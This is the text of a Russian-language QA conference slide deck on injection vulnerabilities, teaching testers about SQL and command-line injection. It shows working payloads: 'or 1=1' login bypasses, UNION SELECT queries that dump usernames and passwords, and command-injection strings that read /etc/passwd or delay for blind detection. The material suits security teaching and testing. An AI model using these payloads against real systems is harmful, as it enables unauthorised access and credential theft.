Все знают про 2 вида иньекций: SQL и HTML, а мы расмотрим еще XML и command line. Вы скажете это не актуально, но 28% сайтов заражены данной уязвимостью и самое важное, что с помощью данной уязвимости хакер может изменить всю внешную часть сайта. А с помощью command line injection можно увидеть структуру сервера, да и вообще получить доступ к серверу.
2. О себе
4,5 года в тестировании
Senior manual Qa/Qa lead Ameria
Спикер на конференциях (KyivQaDay, Simplicity QA
360, ComaQa Minsk), митапах (OpenTechWeek,
Speakers’ Corner, KyivTestersMeetup)
Со-тренер на курсе OWASP TOP-10
До этого 9 лет в банковской сфере
Свитчер :-)
LinkedIn FB
15. Select title, release, character, genge, IMDb
From movie
Where
title = ‘Iron Man’
Select title, release, character, genge, IMDb
From movie
Where
title = ‘'or 1=1 -- -’
‘ or 1=1 -- -Iron Man
16. Select title, release, character, genge, IMDb
From movie
Where
title = ‘1'union select 1,2,3,4,5,6,7#’
Select title, release, character, genge, IMDb
From movie
Where
title = ‘1'
union select 1,2,3,4,5,6,7#’
17. Select title, release, character, genge, IMDb
From movie
Where
title = ‘1'
union select 1,login,password,4,current_user,6,7
from users#’'
Select title, release, character, genge, IMDb
From movie
Where
title = ‘1'
union select
1,database(),version(),4,current_user,6,7#’
1' union select
1,database(),version(),4,current_user,6,7#
1' union select
1,login,password,4,current_user,6,7 from users#
19. Select *
From users
Where
user_name = ‘Evgeny’
AND password = ‘1234’
Authorization
User
Pass
Evgeny
1234
Authorization
User
Pass
admin
‘ OR 1=1 -- -
Select *
From users
Where
user_name = ‘admin’
AND password = ‘’ OR 1=1 --’
20. Select *
From users
Where
user_name = ‘admin’
AND password = ‘’ OR 1=1 --’’
Select *
From users
Where
user_name = ‘admin’
AND password = ‘’
OR 1=1 --
id username password email
0 admin admin1234 admin@com.ua
34. Задать доп команды:
ком1|ком2 - команда 2 выполнима, если команда 1 будет выполнена или нет
ком1;ком2 - команда 2 выполнима, если команда 1 будет выполнена или нет
ком1||ком2 - команда 2 будет выполнена, только в случаи сбоя команды 1
ком1&&ком2 - команда 2 будет выполнена только при успешном выполнении
команды 1
В середине команд:
$(cat /etc/passwd)
‘ cat /etc/passwd’
Слепое внедрение:
sleep(5)
ping -i 30 127.0.0.1
40. Ссылки
1. OWASP TOP 10 2017
2. OWASP testing guide
3. Mobile Top 10 2016
4. Блог Святослава Логина
5. Портал для обучения HTML, JS, SQL …
6. Когда хочется просто пофлудить, а иногда встретиться
и выпить пиво с коллегами :-)
Телеграм канал QA_ua